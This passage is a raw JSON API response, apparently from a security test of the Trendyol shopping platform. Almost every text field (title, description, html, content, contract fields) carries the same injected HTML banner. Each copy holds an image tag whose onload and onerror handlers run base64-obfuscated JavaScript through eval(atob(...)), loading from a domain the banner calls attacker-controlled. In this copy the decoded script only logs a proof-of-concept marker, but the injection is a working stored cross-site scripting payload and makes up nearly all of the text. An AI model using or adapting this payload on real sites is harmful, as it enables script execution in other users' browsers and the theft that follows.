onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>"}],"socialProof":[{"id":8902662,"title":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","name":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","text":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","description":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","descriptionLink":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","linkUrl":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","html":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","content":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","answer":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","distantSaleHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","preInformationHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 